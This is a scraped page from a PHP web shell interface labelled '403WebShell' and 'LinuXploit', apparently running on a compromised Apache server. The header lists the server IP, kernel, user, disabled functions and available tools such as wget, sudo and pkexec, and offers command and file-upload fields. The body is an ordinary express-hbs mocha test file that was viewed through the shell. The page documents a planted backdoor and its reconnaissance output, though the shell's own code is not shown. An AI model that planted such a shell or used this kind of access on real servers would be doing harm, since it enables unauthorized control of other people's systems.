Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gavin/workspace/readjs/node_modules/express-hbs/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gavin/workspace/readjs/node_modules/express-hbs/test//multiple.js
'use strict';

var request = require('supertest');
var assert = require('assert');
var express = require('express');
var hbs = require('..');

describe('multiple directories', function() {
  var app;

  beforeEach(function() {
    app = express();
    app.engine('hbs', hbs.express3());
    app.set('view engine', 'hbs');
    app.get('/test1', function (req, res) {
      res.render('test1');
    });
    app.get('/test2', function (req, res) {
      res.render('test2');
    });
    app.get('/collide', function (req, res) {
      res.render('collide');
    });
    app.get('/error', function (req, res) {
      res.render('error');
    });
  });

  it('should handle single folder', function(done) {
    app.set('views', './test/views/multiple/views1');
    request(app)
      .get('/test1')
      .end(function (err, res) {
        assert.ifError(err);
        var expected = '<h1>test1</h1>\n';
        assert.equal(res.text, expected);
        done();
      });
  });

  it('should handle multiple folders', function(done) {
    app.set('views', ['./test/views/multiple/views1', './test/views/multiple/views2']);
    request(app)
      .get('/test2')
      .end(function (err, res) {
        assert.ifError(err);
        var expected = '<h1>test2</h1>\n';
        assert.equal(res.text, expected);
        done();
      });
  });

  describe('should handle multiple folders in specific order', function() {

    it('views1, views2', function(done) {
      app.set('views', ['./test/views/multiple/views1', './test/views/multiple/views2']);
      request(app)
        .get('/collide')
        .end(function (err, res) {
          assert.ifError(err);
          var expected = '<h1>collide1</h1>\n';
          assert.equal(res.text, expected);
          done();
        });
    });

    it('views2, views1', function(done) {
      app.set('views', ['./test/views/multiple/views2', './test/views/multiple/views1']);
      request(app)
        .get('/collide')
        .end(function (err, res) {
          assert.ifError(err);
          var expected = '<h1>collide2</h1>\n';
          assert.equal(res.text, expected);
          done();
        });
    });

  });

  /* eslint-disable no-unused-vars */
  describe('should report the filename in error', function() {

    it('should report from first folder', function(done) {
      app.set('views', ['./test/views/multiple/views1', './test/views/multiple/views2']);
      app.use(function(err, req, res, next) {
        res.status(500).send(err.stack);
      });

      request(app)
      .get('/error')
      .end(function(err, res) {
        assert.ifError(err);
        assert(res.error.text.indexOf('views1/error.hbs]') > 0);
        done();
      });
    });


    it('should report from second folder', function(done) {
      app.set('views', ['./test/views/multiple/views2', './test/views/multiple/views1']);
      app.use(function(err, req, res, next) {
        res.status(500).send(err.stack);
      });

      request(app)
      .get('/error')
      .end(function(err, res) {
        assert.ifError(err);
        assert(res.error.text.indexOf('views2/error.hbs]') > 0);
        done();
      });
    });
  });
  /* eslint-enable no-unused-vars */

});

Youez - 2016 - github.com/yon3zu
LinuXploit